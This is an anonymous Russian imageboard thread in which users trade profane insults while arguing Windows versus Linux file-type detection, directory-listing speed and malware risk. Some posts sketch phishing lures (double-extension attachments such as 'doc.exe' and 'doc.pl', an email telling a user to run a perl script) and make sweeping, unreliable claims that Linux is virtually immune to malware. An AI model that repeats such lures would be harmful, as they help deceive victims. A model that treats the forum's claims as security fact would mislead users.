>>1088008
> как ты остаешься GNU/Linux-богом, а не пердолей
Да я и так знаю, спасибо.
>>1088009
>с неизвестным расширением
>расширением
Спермач продолжает проецировать спермопроблемы на божественную ОС.
>Определение типа по расширению уменьшает количество файловых операций
и увеличивает вероятность ошибки. Кроме того, БД расширений в Питух ОС™ из коробки невыносимо скудна и не способна предоставить юзеру никакой информации о большинстве типов файлов, что подтверждается пикрелейтедом >>1087377.
>огромная экономия вычислительной мощности
Сказал юзер прозрачных пердящих окошек.
Аноним 19/11/14 Срд 23:52:31 #407 №1088026 
>>1088023
>и увеличивает вероятность ошибки
И похуй, по большому счёту. Ничего страшного не случится.

>БД расширений в Питух ОС™ из коробки невыносимо скудна и не способна предоставить юзеру никакой информации о большинстве типов файлов

Кому надо тот и поставит, я не вижу смысла поставлять с системой кучу софта, который конечному пользователю скорее всего не понадобится.

>Сказал юзер прозрачных пердящих окошек
Сказал пердолик с постоянно тупящим unity или не менее тормознутым KDE, который грузит вагон библиотек и прочего говна в память. ГУИ семёрки потребляет не намного больше ресурсов чем те же самые гуи ллинупсов. Ты опять соснул.
Аноним 19/11/14 Срд 23:52:35 #408 №1088027 
>>1088021
Вскукарек без пруфов — ожидаемая реакция от спермача.
>>1088022
Ты читать умеешь?
> NTFS, 4K block size
> NTFS on Windows Server 2008 RS
Аноним 19/11/14 Срд 23:55:14 #409 №1088029 
>>1088027
>Вскукарек без пруфов — ожидаемая реакция от спермача
Сам лично сталкивался на работе неимоверными тормозами, когда в папке более 3000 файлов, причём, блядь, работая из консоли.
Аноним 19/11/14 Срд 23:57:10 #410 №1088030 
14164306303520.png
>>1088026
>Ничего страшного не случится.
Ну да, в самом деле. Только придётся каждый раз гуглить «как открыть xpi».
>я не вижу смысла поставлять с системой кучу софта, который конечному пользователю скорее всего не понадобится
И я не вижу. А вот БД для определения типов файлов поставить стоит. Но кто виноват, что в Питух ОС™ новые типы дописываются только вместе с установкой соответствующих программ?
>с постоянно тупящим unity или не менее тормознутым KDE
Продолжай гадать, спермолох.
>ГУИ семёрки потребляет не намного больше ресурсов чем те же самые гуи ллинупсов.
Упс, пикрелейтед случайно поссал тебе на личико.
Аноним 19/11/14 Срд 23:58:51 #411 №1088033 
>>1088029
>Сам лично сталкивался
>Вскукарек без пруфов
Он так и сказал, вообще-то.
>причём, блядь, работая из консоли
О, вот тут ты совсем запизделся, клован: ни один эмулятор терминала не использует определение типа файла по содержимому. Обтекай.
Аноним 20/11/14 Чтв 00:05:29 #412 №1088039 
>>1088026
>ГУИ семёрки потребляет не намного больше ресурсов чем те же самые гуи ллинупсов.
Бро, ты не прав. ГУЙ семерки значительно экономнее и производительнее, чем пердоличьи КДЕ, его можно сравнивать разве что с XFCE, особенно это заметно на старых компьютерах.
Аноним 20/11/14 Чтв 00:07:14 #413 №1088041 
14164312340780.jpg
>>1088030
>Только придётся каждый раз гуглить «как открыть xpi».
Не мои проблемы.
>А вот БД для определения типов файлов поставить стоит
Кому надо, тот и поставит. Зачем мне из-за какого-то быдла, засирать свою систему всяким говном сразу из коробки? Я ставлю почти голую винду и нужный себе софт и наслаждаюсь хорошей и быстрой работой, без всякого говна, которое для одноклеточных будет определять типы файлов.

>Упс, пикрелейтед случайно поссал тебе на личико.
Я ставлю систему чтобы удобно и без проблем ей пользоваться, а не чтобы ставить какие-то непонятные и недогуи, с которым даже в интернете полазить проблема. Ибо зачем мне 23 дюймовый монитор, если я потом в нём буду пользоваться 15 строчными недоинтерфейсами.
Аноним 20/11/14 Чтв 00:08:50 #414 №1088043 
>>1088033
>ни один эмулятор терминала не использует определение типа файла по содержимому
Ага, это был Debian самый свежий, причём серверный с хорогим диском, и когда я делал ls -la всё висло в папке с 4000 файлов, причём мне админ упоротый пердолик доказывал, что НЕЛЬЗЯ держать в папке столько много файлов.
Аноним 20/11/14 Чтв 00:09:03 #415 №1088044 
>>1086755
>sudo -u iceweasel iceweasel $1
А что мешает запускать точно так же скайп? Он не будет никуда иметь доступа, и похуй что он проприетарный, никуда не залезет.
Аноним 20/11/14 Чтв 00:12:59 #416 №1088048 
>>1088043
>4000 файлов
>много
БАБАХ!!!
Аноним 20/11/14 Чтв 00:14:53 #417 №1088051 
14164316935670.png
>>1088041
>Не мои проблемы.
Не аргумент. Если бы я говорил «не мои проблемы», дискач закончился бы на первом же обоссаном сперморебёнке.
>Я ставлю систему чтобы удобно и без проблем ей пользоваться
И я.
>непонятные
«Не понятные мне, Великому Знатоку операционных систем», ты хотел сказать? Твоя тупость не знает границ, пердоля: на скриншоте никакой не «15 строчный недоинтерфейс», а полноценный GUI. Просто представь, что вместо терминала там открыт браузер. Вот так, например.
>>1088043
>я делал ls -la всё висло в папке с 4000 файлов
И ты, конечно же, подумал, что причина в определении типа файла по содержимому. Лечись, пердоля.
sageАноним 20/11/14 Чтв 00:20:42 #418 №1088057 
>>1088044
>похуй что он проприетарный, никуда не залезет
Это же не значит, что можно добровольно становиться нодой ботнета.
Аноним 20/11/14 Чтв 00:32:18 #419 №1088063 
14164327383890.webm
>>1088029
>>1088043
Ох уж эти сказки, ох уж эти сказочники.
Я вот никак не пойму — вы кого и в чём пытаетесь убедить?
Аноним 20/11/14 Чтв 00:32:20 #420 №1088064 
>>1088043
>и когда я делал ls -la всё висло в папке с 4000 файлов
Либо ЖД хана, либо какое-то говно вместо файловой системы, либо, если "висло"=оче медленно выводилось, проблема с драйвером видео, либо ты пиздобол.
Аноним 20/11/14 Чтв 00:58:18 #421 №1088072 
14164342981860.jpg
>>1088051
>И ты, конечно же, подумал, что причина в определении типа файла по содержимому
Неа, я подумал, что ебучая консоль не может их нормально вывести.

>на скриншоте никакой не «15 строчный недоинтерфейс», а полноценный GUI
Не знаю, но вижу какое-то говно вместо интерфейса, а 23 дюймовый моник я не для этого покупал.

>>1088063
Я хз, у меня тупил серверный дебиан, и админ ничего не смог с этим поделать. Но мне было похуй, и сейчас, собственно, тоже похуй.

>>1088064
Никаких драйверов видео, ssh-консоль. Я хз в чём там была проблема, но я потом переписал софт, содержимое всех этих файлов пихнул в БД (что, впрочем, давно надо было сделать) и успокоился.
Аноним 20/11/14 Чтв 00:59:33 #422 №1088075 
>>1088063
>0 Б
>0 Б
>0 Б
Ну, это не аргумент вообще-то. По-хорошему, ты должен был захуярить туда 4000 рандомных непустых файлов прямо на во время записи, а потом впервые открыть.
Аноним 20/11/14 Чтв 01:00:50 #423 №1088077 
>>1088072
>вижу какое-то говно вместо интерфейса
Спермозашоренность. Конечно, ОС без прозрачных пердящих окошек уже не ОС.
Аноним 20/11/14 Чтв 01:09:28 #424 №1088085 
14164349682450.png
>>1088077
Не знаю как тутошние школьники, но я пользуюсь классическим интерфейсом ещё с незапамятных времён, и после перехода на семёрку продолжаю им пользоваться. Многие долбоёбы не знают, что если в семёрке включить стандартный стиль, то она начинает работать также быстро как XP.
Аноним 20/11/14 Чтв 01:16:09 #425 №1088088 
>>1088085
>уточка с TC
>что-то кукарекает про интерфейсы
Ну ясно.
Аноним 20/11/14 Чтв 01:17:39 #426 №1088090 
>>1088085
Ебать ты говноед
Аноним 20/11/14 Чтв 01:29:48 #427 №1088099 
14164361881600.webm
>>1088075
Файлы из /dev/urandom, даже видно, что значки проскакивают разные — попытки определить тип по содержимому.
Аноним 20/11/14 Чтв 01:35:23 #428 №1088105 
14164365238290.png
>>1088099
Аноним 20/11/14 Чтв 01:38:48 #429 №1088107 
>>1088099
>захуярить прямо во время записи
>потом впервые открыть
Я же не просто так написал. После первого открытия ФМ уже знает, что там у тебя лежит.
По-хорошему, ты ещё и кеши должен сбросить, чтобы ОС с диска читала.
Аноним 20/11/14 Чтв 01:41:33 #430 №1088108 
>>1088107
Какая нахуй разница. Тормозить в любом случае не будет.
У того хуя явно проблемы с железом или фс были.
Или сервер перегружен это ж как его перегрузить-то надо, чтоб лс тормозил
20/11/14 Чтв 01:46:06 #431 №1088110 
Блядь, ну почему пердолики такие упоротые и не могут смириться с фактом, что в разы лучше и удобнее определять тип по расширению. Это всё равно что покупать сок в пакетах без этикеток. Сначала надо открыть и понять, что это апельсиновый сок, а не томатный. Надо разделять понятия, есть содержимое файла и есть информация о содержимом файла.

Аноним 20/11/14 Чтв 01:46:37 #432 №1088112 
>>1088107
> прямо во время записи
А 3000 файлов у >>1088029 тоже создавались прямо в тот момент, когда он листил каталог?
Аноним 20/11/14 Чтв 01:59:50 #433 №1088125 
Очень хороший тред, с каким-то грамотным админом линуксоидом. Няша расскажи пожалуйста еще про безопасность в прыщах, мне для пользовательской пекарни обычной. Я правильно понимаю, что из коробки в Дебиане охуительная безопасность, если не открывать все скрипты и бинарники подряд? Или есть что править?
Аноним 20/11/14 Чтв 02:09:53 #434 №1088130 
>>1088108
>Тормозить в любом случае не будет.
У меня тормозило.
>>1088112
Я откуда знаю, что там у него было? Я только указываю на то, что пруф должен быть пруфом, а не неоднозначной иллюстрацией.
>>1088110
>всё равно что покупать сок в пакетах без этикеток. Сначала надо открыть и понять, что это апельсиновый сок, а не томатный
Неверная аналогия, давай я поправлю. Это всё равно что из каждого пакета, поставленного в холодильник, автоматически стерильной иглой бралась бы проба содержимого. А спермачу подсунут Отчёт.doc.exe воду с ароматизатором и он будет его пить только потому, что на упаковке написано «Натуральный сок».
>есть содержимое файла и есть информация о содержимом файла.
Верно. Информацию о содержимом файла можно получить из имени файла (с достоверностью, далёкой от 100%) и из содержимого файла (с достоверностью, близкой к 100%). У GNU/Linux-богов всегда есть выбор. У сперморабов его нет.
Аноним 20/11/14 Чтв 02:11:46 #435 №1088133 
>>1088130
>У меня тормозило.
Уже перечислил, по каким причинам могло тормозить.
Аноним 20/11/14 Чтв 02:15:48 #436 №1088136 
>>1088133
Да нет у меня никаких проблем. Просто чтение директории в первый раз после открытия ФМ занимает на десятые доли секунды больше, чем последующие, что видно невооружённым глазом.
Могу даже пруф завтра сделать, если интересно.
Аноним 20/11/14 Чтв 02:36:06 #437 №1088148 
>>1088136
У меня ФМ открывает каталоги с одинаковой на глаз скоростью до и после сброса кэшей (sync; echo 3 > /proc/sys/vm/drop_caches). А разница во времени работы ls -R явно в пределах погрешности (конкретно около 0.07с в случае 5 каталогов по 5000 файлов).
Аноним 20/11/14 Чтв 02:58:39 #438 №1088154 
>>1088148
В общем, разница, вносимая кешами, ничтожна.
↪ sync; echo 3 | sudo tee /proc/sys/vm/drop_caches
3
↪ time ls -1 big-fat-folder | while read d; do ls -1 big-fat-folder/$d | while read f; do file big-fat-folder/$d/$f > /dev/null; done; done
real 0m49.191s
user 0m9.614s
sys 0m36.973s
↪ time ls -1 big-fat-folder | while read d; do ls -1 big-fat-folder/$d | while read f; do file big-fat-folder/$d/$f > /dev/null; done; done
real 0m39.060s
user 0m8.404s
sys 0m33.157s

В любом случае, «неимоверные тормоза когда в папке более 3000 файлов работая из консоли» — откровенный пиздёж.
Аноним 20/11/14 Чтв 04:39:10 #439 №1088174 
>>1088125
>>1088044
Бамп вопросам.
Аноним 20/11/14 Чтв 04:55:53 #440 №1088180 
>>1088044
>$1
Что делает это?
Аноним 20/11/14 Чтв 06:34:52 #441 №1088189 
>>1087914
>притворяется, что не понимает определения понятия "искаропки"
Аноним 20/11/14 Чтв 06:47:48 #442 №1088190 
>>1088189
определение
Аноним 20/11/14 Чтв 08:12:46 #443 №1088203 
>>1086853
Был случай. Прибегает знакомый коллега, ему лет за 40, ну типа хуё-моё, спасай, жена бугуртит, грозится ваще даж на пыво не давать (зряплату он бабе своей сразу отдаёт), достаёт ноутбук, а там нигры ебущиеся, ну и текст, что посещали гей-прон, теперь платите. Сам мне клянётся, что гей-прон ене посещал - не пидар же. Начали выяснять, как же вирус попал на каплюктерн. Оказалось что дядя полез смотреть обычный прон (он же не пидар какой, а настоящий подкаблучник мужыг), и значит вылазит окошко, что для просмотра нужно поставить кодек. Естественно дяденька соглашается (шишка же дымит!), ну и всё, после установки кодека ребут и нигры. Так что юзер сам идиот в большинстве случаев. Не был бы идиотом - стоял бы линапс, а не форточки, ну или хотя бы важные документы лежали в хомяке, а не на НТФС-разделе. А идиоты закономерно должны страдать, если чо.
Аноним 20/11/14 Чтв 08:16:19 #444 №1088205 
>>1088203
Скачал бы какой-нибудь .deb и точно так же словил бы нигров если бы однопроцентники были кому-то интересны.
Аноним 20/11/14 Чтв 08:16:36 #445 №1088206 
>>1088203
>Так что юзер сам идиот в большинстве случаев.
Верно.
>Не был бы идиотом - стоял бы линапс, а не форточки
Неверно. Умный юзер и на винде не запустит подозрительный файл.
Аноним 20/11/14 Чтв 08:20:05 #446 №1088207 
>>1088205
Увы, но это привычка вантузятнегов - качать файлы непонятно откуда. Есть репозитории - качай же! Есть официальные сайты.

И да, не факт что вирус заработает, ибо как всегда начнётся, что либы не той системы, а ещё нет мейка, да и вообще ведро неправильное, а где эти модули?, а почему не запущены? Всё в рута упирается, ну и в итоге получаем "Иди нахуй, тут поломанные зависимости".
Аноним 20/11/14 Чтв 08:22:12 #447 №1088208 
>>1088206
И то верно, но зачем умному юзеру венда дома? Ну ладно, в игори погонять, это я понимаю, у самого так стоит: венда, а в ней одинокий онтевирус и игори, а на другом разделе линапс, и там уже всё остальное. Три года как брат жив, а BATYA перестал пить травы.
Аноним 20/11/14 Чтв 08:25:47 #448 №1088209 
>>1088208
>И то верно, но зачем умному юзеру венда дома?
А зачем умному юзеру нужен линапс?
Аноним 20/11/14 Чтв 08:27:58 #449 №1088211 
>>1088209
Потому что удобно, и практически отсутствуют риски повторения ситуёвины как в ОП-посте. Можно даже пускать за машину максимум ТП, всё равно вреда не нанесёт.
Аноним 20/11/14 Чтв 08:31:30 #450 №1088213 
>>1088211
>удобно
Ты хотел сказать привычно?
>отсутствуют риски повторения ситуёвины
У умного юзера возможность подобной ситуации равна нулю.
>ускать за машину максимум ТП
Создаёшь новую учётку и пускаешь. В чём проблема?
Аноним 20/11/14 Чтв 08:34:43 #451 №1088214 
>>1088211
>отсутствуют риски повторения ситуёвины как в ОП-посте
=> >>1085872
20/11/14 Чтв 09:01:29 #452 №1088221 
>>1088130
>Отчёт.doc.exe
Нормальный человек увидит расширение exe и без всяких стерильных игл поймет, что там вирус и удалит файл. Ты соснул.
Аноним 20/11/14 Чтв 09:10:40 #453 №1088224 
>>1088221
Ну могут срц или ещё какое мси сделать. Важно то, что разумный человек увидит нестандартное для ожидаемого типа файла расширение и насторожится, а там уж можно дальше хоть как извращаться, хоть онтевирусом проверить, хоть в виртуалке открыть и посмотреть какие симптомы проявятся, хоть всё вместе взятое. С другой стороны, в линапсах я вообще могу не опасаться вирусов почтой или со всяких помоек, ибо отыскать вирусяку под пингвина - уже подвиг, а чтобы оно ещё и запустилось без танцев с бубном, так вообще - ПЕРЕМОГА. Вёдра везде разные, с разными патчами, а вирус пишется под что-то конкретное.
Аноним 20/11/14 Чтв 09:39:23 #454 №1088228 
>>1088207
Шишка же дымит! Поставит никуда не денется. А если бы пользователь был умным, то он бы и на винде не стал ничего ставить.
Какой еще мейк и зависимости? В постинст прописать какой-нибудь патчинг конфига груба и всё.
Аноним 20/11/14 Чтв 10:33:16 #455 №1088248 
>>1088228
Ну для патчинга конфига груба, как и прочих опасных для системы действий, нужон таки рутпасс. Ну а если человек НАСТОЛЬКО ТУП, что кормит рутпассом хуйпоймикакие левые приложения, то зачем ему камплюктер? Такому и калькулятор доверить нельзя, а ключи от квартиры он видимо первому попавшемуся мимокрокодилу отдаст, если тот попросит.
Аноним 20/11/14 Чтв 10:52:12 #456 №1088262 
>>1088248
> если человек НАСТОЛЬКО ТУП
> вылазит окошко, что для просмотра нужно поставить кодек. Естественно дяденька соглашается (шишка же дымит!), ну и всё, после установки кодека ребут и нигры
Аноним 20/11/14 Чтв 10:53:36 #457 №1088263 
>>1088174
>с каким-то грамотным админом линуксоидом.
Не хочу тебя расстраивать, но это обычный комнатный безработный пердоля, админ локалхоста, в лучшем случае.
Аноним 20/11/14 Чтв 10:57:56 #458 №1088268 
>>1088263
Ну ты бы хоть не так очевидно проецировал, что ли.
Аноним 20/11/14 Чтв 11:05:08 #459 №1088275 
>>1088125
В любом дистре искаропки охуенная безопасность, в сравнении с вендами. Если уж совсем левых репозиториев не подключать, от всяких Васянов, то нихуя не случится, ну и всякие левые deb/rpm/скрипты не запускать. В Минте, к примеру, даже с кодеками на видео ебаться не надо - они искаропки идут.
>>1088263
Если про меня, то мимо. Я канеш не гуру, но шесть лет въёбываю в сраной госконторе одмином.
Аноним 20/11/14 Чтв 11:09:27 #460 №1088276 
>>1088275
И да, На моей памяти нет ни одного случая, чтобы наши машины с линапсами были чем-то заражены. Вот с вендами часто нигры на весь экран были, и похуй им на КИС с ежедневными обновками, а с линапсами стоят, работают, периодически накатываю обновки. Пользователи и там и там схожие, нигры притаскиваются на флешках, хотя хрен поймёт, откуда они там берутся, если носители "только для рабочих документов", лол.
Так что да - линукс сейчас В РАЗЫ безопаснее вендов, ибо вирусов с гулькин хуй, а рабочих - и того меньше.
Аноним 20/11/14 Чтв 11:33:42 #461 №1088289 
14164724221230.jpg
>>1088224
Ну начнём с того, что работа с файлами и системные вызовы для этого не изменились ещё со 80-х годов. Поэтому криптолокеры успешно смогу работать. Во-вторых, чтобы отправить автору ключ шифрования на почту нужны только сокеты, работа с сокетами тоже не изменилась с бородатых времён. Написать вирус, который будет работать без перекомпиляции на всех убунтах и дебианах можно без проблем, я знаю это потому что я сам писал такие программы. Ты соснул.
Аноним 20/11/14 Чтв 11:34:54 #462 №1088293 
>>1088275
>ну и всякие левые deb/rpm/скрипты не запускать
И тут мы возвращаемся к тому, что если не запускать левые exe/msi/скрипты, то и в винде нихуя не случится.
Аноним 20/11/14 Чтв 11:36:52 #463 №1088294 
>>1088289
> я знаю это потому что я сам писал такие программы.
А кто-нибудь ещё об этом знает?
Аноним 20/11/14 Чтв 11:36:57 #464 №1088295 
>>1088275
>В любом дистре искаропки охуенная безопасность
Это для ТЕБЯ безопасность, а если бухгалтеру Свете, которая будет сидеть по линуксом придёт письмо с вложением, а в нём будет баш скрипт, то она его запустит без проблем, потому что оно будет называться запрос_из_налоговой.doc.pl
Аноним 20/11/14 Чтв 11:37:53 #465 №1088297 
>>1088294
Знает, и этим пользуются примерно 30 админов в моей конторе.
Аноним 20/11/14 Чтв 11:38:13 #466 №1088298 
>>1088293
Да-да. Нихуя не будет, кроме пеинта, блокнота, звукозаписи, вордпада и пасьянса. «Эхо должно отражаться трижды...» знаем.
Аноним 20/11/14 Чтв 11:38:26 #467 №1088299 
>>1088297
Разумеется, я не вирус писал, а нужную прогу.
Аноним 20/11/14 Чтв 11:39:44 #468 №1088301 
>>1088297
> Знает, и этим пользуются примерно 30 админов в моей конторе.
Так бы сразу и сказал, что LSB.
Аноним 20/11/14 Чтв 11:39:58 #469 №1088302 
>>1085829

На хабропараше были кулстори по победе над энкриптором. Но там надо немного уметь в криптографию и дебаг.

Просто прог с кнопкой "сделать заебись" не существует. Бесплатно, по крайней мере.
Аноним 20/11/14 Чтв 11:40:19 #470 №1088303 
>>1088275
>В любом дистре искаропки охуенная безопасность, в сравнении с вендами.
>охуенная безопасность
И в чём же она заключается?
Аноним 20/11/14 Чтв 11:41:29 #471 №1088305 
>>1088275
>В любом дистре искаропки охуенная безопасность, в сравнении с вендами.
> Я канеш не гуру
Это я понял, мне вот интересно, что ты имел ввиду под словами "в сравнении с вендами". Каким образом отсутствие известных вирусов коррелирует с дефолтной безопасностью?
Аноним 20/11/14 Чтв 11:42:02 #472 №1088306 
>>1088130
>Информацию о содержимом файла можно получить из имени файла (с достоверностью, далёкой от 100%) и из содержимого файла (с достоверностью, близкой к 100%)
Если кому интересно, есть контентный плагин для TC "TrID"
http://wincmd.ru/plugring/trid.html>
(и, собственно, соснольная программа TrID)
Которые как раз для этого: определить расширение файла по содержимому. И я совершенно уверен, что можно чуточку попердолиться и написать плагин для стандартного виндового эксплорера, который бы делал то же самое.
Главный вопрос: зачем? Раширение, указывающее на тип файла - очень хорошее изобретение, это намного удобнее.
Аноним 20/11/14 Чтв 11:42:08 #473 №1088307 
>>1088298
>2014
>пасьянса
Аноним 20/11/14 Чтв 11:42:55 #474 №1088308 
>>1088289
Ну так скинь пример любой рабочей для линуксов. Вот за всю свою одминскую жизнь ни одного рабочего вируса под линапсы не встретил, максимум - эксплойты, юзающие дыры конкретных сервисов, а вот так, чтобы взяло и залочило экран юзверю, или зашифровало файлы - не видел такого. Так что пока соснул ты :)
Аноним 20/11/14 Чтв 11:45:07 #475 №1088312 
>>1088308
Некогда
Аноним 20/11/14 Чтв 11:45:25 #476 №1088313 
>>1088295
>запустит без проблем
И откроет файл в текстовом редакторе.
Аноним 20/11/14 Чтв 11:45:26 #477 №1088314 
>>1088298
Ты невнимательно прочитал предыдущий пост:
>если не запускать левые exe/msi/скрипты
Аноним 20/11/14 Чтв 11:46:07 #478 №1088315 
>>1088293
В том-то и трабла, что в венде ПРИХОДИТСЯ запускать левые инсталляторы, ибо репозиториев нема, хотя где-то кто-то кукарекал, что в 10-й запилили. А юзверь ведь не выучит наизусть все официальные сайты, лол. В венде искаропки даже вместо браузера - ишак. В линапсах проще. Забил в пакетный манагер название нужное, и поиск по левым репам придётся начинать, если только в стандартных нет искомого.
Аноним 20/11/14 Чтв 11:47:51 #479 №1088316 
>>1088312
Всем вам некогда. Сколько лет прошло, а нормальных вирусов не завезли до сих пор. То ведро патчить надо с откатом до 2.6.хх ветки, то либы специфичные самому собирать - ну что это за вирусы?
Аноним 20/11/14 Чтв 11:48:57 #480 №1088317 
>>1088307
А что, в новых вендах и пасьянс отняли?

>>1088314
Левые — это те, которые в стандартную поставку не входят, те, которых в маркете нет, или те, которые Майкрософт не подписал?
Аноним 20/11/14 Чтв 11:50:01 #481 №1088319 
>>1088313
Ну в письме будет написано "Это очень важный документ, выполните команду perl важный_документ_из_ФМС.doc.pl"

>>1088316
Ради двух инвалидов вирусы лень писать, даже если заразятся, то денег они всё равно не заплатят.
Аноним 20/11/14 Чтв 11:50:23 #482 №1088320 
>>1088315
Для нормального человека нет никакой проблемы найти официальный сайт. Ты же смог найти официальный сайт своего дистрибутива, лол.
Аноним 20/11/14 Чтв 11:51:06 #483 №1088322 
>>1088303
В том, что хуй найдёшь рабочую заразу для конкретного дистра. Если не так, то подкинь мне пару-тройку ссылок - хочу испытать свой анус систему на прочность.
Аноним 20/11/14 Чтв 11:52:54 #484 №1088324 
>>1088320
Мой первый дистрибутив приехал ко мне аж из Англии на болваночке фирменной. Бубунта 9.04.
И да, мне нужно запомнить ОДИН сайт с дистром, а вантузятнегу 100500, ибо такой зоопарк софта и производителей, что охуеть просто.
Аноним 20/11/14 Чтв 11:53:18 #485 №1088326 
14164735986840.png
>>1088315
> emerge --search crysis
> Searching...
> [ Results for search key : crysis ]
> [ Applications found : 0 ]
Аноним 20/11/14 Чтв 11:53:53 #486 №1088327 
>>1088319
>Ради двух инвалидов вирусы лень писать, даже если заразятся, то денег они всё равно не заплатят.
Я заплачу за скринлокер. Надоели уже эти пердоли.
Аноним 20/11/14 Чтв 11:54:18 #487 №1088328 
>>1088317
Левые — это те, про которые не упоминается в авторитетных источниках, не имеющие своего официального сайта.
Аноним 20/11/14 Чтв 11:54:18 #488 №1088329 
>>1088326
Да, вендоигорей не завезли. Велкам ту ВАЙН.
Аноним 20/11/14 Чтв 11:54:41 #489 №1088330 
>>1088326
Евгений Ваганович, залогиньтесь!
Аноним 20/11/14 Чтв 11:55:54 #490 №1088331 
>>1088319
>Ради двух инвалидов вирусы лень писать, даже если заразятся, то денег они всё равно не заплатят.
Вот поэтому пока что искаропки любой дистр линапсов В РАЗЫ безопаснее вендов. Улавливаешь?
Аноним 20/11/14 Чтв 11:57:09 #491 №1088333 
>>1088331
ПЕРДОЛОГИКА
Рад, что ты сам это признал
Аноним 20/11/14 Чтв 11:57:18 #492 №1088334 
>>1088322
>подкинь мне пару-тройку ссылок
У меня нет таких ссылок. А есть ли у тебя подобные ссылки для винды?
Аноним 20/11/14 Чтв 11:57:38 #493 №1088335 
>>1088319
Ты считаешь, что бухгалтер Света будет файл через сонсольку открывать? Скорее позовет админа Андрюшку, чтоб тот разобрался.
Ну даже если сама полезет открывать, это уже более осознанное действие, чем бездумно кнопку "Да" нажать.
Аноним 20/11/14 Чтв 11:58:15 #494 №1088336 
>>1088328
Это такой хитрый метод у тебя, да? Запутываешь нить рассуждений. У для уточнения, одно неопределённое множество ссылается на другое неопределённое множество.

> авторитетных источниках
Без конкретики.

> своего официального сайта
Не является средством обеспечения безопасности.
Аноним 20/11/14 Чтв 11:58:36 #495 №1088337 
>>1088331
Да. А хаику ещё безопаснее линуксов.
Аноним 20/11/14 Чтв 12:00:39 #496 №1088339 
>>1088333
Ты кокой-то странный. Я тебе сразу пояснял, что линапсы безопаснее хотя бы потому, что под них вирусы писать невыгодно. Овердохуя дистров, в них ещё ведро со своими патчами, от дистра к дистру различающимися. Версии либ зачастую тоже различаются настолько, что могут быть несовместимы между собой, вспомним, что спеки для сборки пакетов также могут быть разные - рпм от Альта может не запуститься на Федоре или Зузе и наоборот. В итоге мы имеем то, что имеем - практически полное отсутствие сколько-нибудь рабочих вирусов.
Аноним 20/11/14 Чтв 12:01:37 #497 №1088341 
>>1088334
Ближайшие порносайты и прочие файлопомойки. Качаешь, со всем соглашаешься, наслаждаешься.
Аноним 20/11/14 Чтв 12:02:50 #498 №1088343 
>>1088335
харкачую этого.
Всё, что требует набрать команду, или расставить галочки в зависимостях, обычный юзверь даже осиливать не станет.
Аноним 20/11/14 Чтв 12:03:29 #499 №1088344 
>>1088337
Вполне вероятно.
Аноним 20/11/14 Чтв 12:04:14 #500 №1088345 
>>1088339
Как только линукс становится популярным, вирусы появляются.
Аноним 20/11/14 Чтв 12:04:54 #501 №1088347 
>>1088331
Наконец-то пердоли признали причину безопасности линукса.
Аноним 20/11/14 Чтв 12:05:44 #502 №1088349 
>>1088343
У нормального Андрюши Света и на виндовсе ничего не поставит.
Аноним 20/11/14 Чтв 12:08:09 #503 №1088352 
>>1088345
> линукс становится популярным, вирусы появляются.
Ядро очень популярно. Есть ли вирусы именно к нему?
Аноним 20/11/14 Чтв 12:09:23 #504 №1088355 
>>1088352
Голое ядро никому не нужно.
Аноним 20/11/14 Чтв 12:09:24 #505 №1088356 
>>1088336
>Без конкретики.
АИ считается издание, имеющее лицензию СМИ.
>Не является средством обеспечения безопасности.
Я же перечислил через запятую, а не через слэш. Будь внимательнее.
Аноним 20/11/14 Чтв 12:10:46 #506 №1088358 
>>1088345
Вирусы появятся под самый популярный дистр в стандартной комплектухе. Но скорее всего это будет тупая социальная инженерия, типа "Есть подозрения, что вы качаете ЦП! Пожалуйста введите пароль от вашего кудахтера в это поле для проверки". Хацкеры заебутся для каждого дистра вариант вируса писать. ибо сегодня они написали, а завтра вышел какой-нибудь патч для ведра, который также требуют обновления каких-то либ до новой версии, которая ВНЕЗАПНО несовместима со старой. И придётся им плакать горькими слезами. Вон, тот же системд оче часто обновляется, да и на ведро приходит много чего.
Аноним 20/11/14 Чтв 12:11:29 #507 №1088359 
>>1088341
>соглашаешься
Так неинтересно. Я же не соглашусь.
Аноним 20/11/14 Чтв 12:11:59 #508 №1088360 
>>1088359
Ой какой пративный!
Аноним 20/11/14 Чтв 12:14:18 #509 №1088361 
>>1088358
Какие зависимости ты собираешься добавить в вирус? Запуска шелл скрипта хватит для того чтобы наломать дров.
Аноним 20/11/14 Чтв 12:15:54 #510 №1088362 
>>1088361
Ага, ты ещё его попробуй запусти. Мне приходится ручками ставить права на запуск скриптов, иначе в текстовом редакторе откроется.
Аноним 20/11/14 Чтв 12:18:02 #511 №1088364 
>>1088362
Более того, я даже из смб-шары не смог скрипты запустить (хотя и права стояли и там. и там нужные), пока вручную параметры монтирования не сменил. И это на дистре искаропки.
Аноним 20/11/14 Чтв 12:19:38 #512 №1088365 
>>1088355
Вот видишь: «популярность» — не причина.

>>1088356
> издание, имеющее лицензию СМИ.
Хорошо.

> Я же перечислил через запятую, а не через слэш. Будь внимательнее.
Просто скажи, какое логическое условие между двумя признаками: либо «И», либо «ИЛИ»!
Аноним 20/11/14 Чтв 12:20:56 #513 №1088366 
>>1088349
Не забывай, что Света может дать Андрюше, чтобы он ей поставил это говнецо и тогда все, приплыли.
Аноним 20/11/14 Чтв 12:23:15 #514 №1088368 
>>1088365
>Вот видишь: «популярность» — не причина.
Ну и какова популярность голого ядра?
Аноним 20/11/14 Чтв 12:24:12 #515 №1088369 
>>1088365
>логическое условие
И.
Аноним 20/11/14 Чтв 12:42:42 #516 №1088382 
>>1088224
>В любом случае, «неимоверные тормоза когда в папке более 3000 файлов работая из консоли» — откровенный пиздёж.
Ну почему же сразу пиздёж? Может быть, у него на сервере весь IO был чем-то сожран в тот момент. Но то, что определение типа файла здесь ни при чём — факт.
>>1088221
>Нормальный человек увидит расширение exe
У нормального (в истинном значении этого слова) человека отключено отображение расширений. Нормальный человек понятия не имеет, что это такое. Такой вот он, современный нормальный человек.
>>1088154
>Вёдра везде разные, с разными патчами
Ты только не расстраивайся, но значения это не имеет ровным счётом никакого. Базовая функциональность поддерживается любой системой. Для криптолокера нужно только слинковать статический бинарник (или подгрузить библиотеки через LD_PRELOAD).
Аноним 20/11/14 Чтв 12:46:16 #517 №1088383 
>>1088382
>У нормального (в истинном значении этого слова) человека отключено отображение расширений.
=> >>1086664
Аноним 20/11/14 Чтв 12:48:03 #518 №1088386 
>>1086664
Ай не пизди. По-дефолту в сперме он как раз и не указывается. Ручками включать приходится. И да, я говорю о лицухе. Во всяких сборочках от Васяна может быть включено/отключено всё, что угодно.
Аноним 20/11/14 Чтв 12:51:16 #519 №1088390 
>>1088386
Не успел ответить, так что просто продвачую.
Аноним 20/11/14 Чтв 12:54:26 #520 №1088392 
